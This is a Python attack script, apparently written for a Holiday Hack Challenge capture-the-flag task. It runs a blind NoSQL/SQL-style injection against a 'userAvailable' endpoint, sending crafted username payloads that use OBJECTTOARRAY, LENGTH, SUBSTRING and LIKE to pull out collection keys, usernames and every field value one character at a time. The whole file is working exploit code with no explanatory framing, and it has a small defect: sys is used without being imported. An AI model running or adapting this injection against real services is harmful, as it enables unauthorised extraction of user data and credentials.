import requests
import json

chars = list("abcdefghijklmnopqrstuvwxyz0123456789_-=")

def attempt(param):
    url = "https://hhc25-smartgnomehack-prod.holidayhackchallenge.com/userAvailable"
    params = {
        "username": param
    }
    r = requests.get(url, params=params)
    return r.json()

def get_keys():
    keys = []
    print(f"Getting number of keys in collection...")
    num_keys = 0
    for x in range(30):
        attempt_str = f"\" or ARRAY_LENGTH(OBJECTTOARRAY(c))={x}--"
        r = attempt(attempt_str)
        if r.get("available", True) == False:
            num_keys = x
            break
    print(f"Found {num_keys} keys")

    print("Enumerating Keys")
    for x in range(num_keys):
        key_len = 0
        for y in range(50):
            attempt_str = f"\" or LENGTH(OBJECTTOARRAY(c)[{x}]['k'])={y}--"
            r = attempt(attempt_str)
            if r.get("available", True) == False:
                key_len = y
                break
        print(f"Key {x} is length {key_len}")
        key = ""
        for y in range(key_len):
            found_char = "?"
            for c in chars:
                attempt_str = f"\" or SUBSTRING(OBJECTTOARRAY(c)[{x}]['k'],{y},1)='{c}'--"
                r = attempt(attempt_str)
                if r.get("available", True) == False:
                    found_char = c
                    break
            key += found_char
        print(f"Key {x}: [{key}]")
        keys.append(key)
    return keys

def enum_users():
    users = []
    lengths = []
    for x in range(1,20):
        placeholder = "_"*x
        attempt_str = f"\" or c.username LIKE '{placeholder}'--"
        r = attempt(attempt_str)
        if r.get("available", True) == False:
            lengths.append(x)
    
    for l in lengths:
        candidates = [""]
        while True:
            new_candidates = []
            for candidate in candidates:
                for c in chars:
                    if c == "_":
                        continue
                    candidate_str = candidate + c
                    candidate_str = candidate_str+"_"*(l-len(candidate_str))
                    attempt_str = f"\" or lower(c.username) LIKE '{candidate_str}'--"
                    r = attempt(attempt_str)
                    if r.get("available", True) == False:
                        new_candidates.append(candidate + c)
            if len(new_candidates) == 0:
                break
            candidates = new_candidates
        users.extend(candidates)
    return users
    
def enum_value(name, key):
    val_len = 0
    for x in range(40):
        attempt_str = f"{name}\" and LENGTH(c.{key})={x}--"
        r = attempt(attempt_str)
        if r.get("available", True) == False:
            val_len = x
            break
    print(f"Value for key {key} is length {val_len}")
    value = ""
    for x in range(val_len):
        found_char = "?"
        for c in chars:
            attempt_str = f"{name}\" and SUBSTRING(c.{key},{x},1)='{c}'--"
            r = attempt(attempt_str)
            if r.get("available", True) == False:
                found_char = c
                break
        value += found_char
    print(f"{key}: {value}")
    return value
    
if __name__ == "__main__":
    collection = []
    try:
        keys = get_keys()
        users = enum_users()
        
        for user in users:
            row = {
                "username": user
            }
            for key in keys:
                # We already know username and
                # We dont care about built in keys like _self
                if key == "username" or key[0] == "_":
                    continue
                value = enum_value(user, key)
                row[key] = value
            collection.append(row)
        print(json.dumps(collection, indent=2))
    except KeyboardInterrupt as e:
        print("Ctrl+c... Exiting")
        sys.exit(1)
    
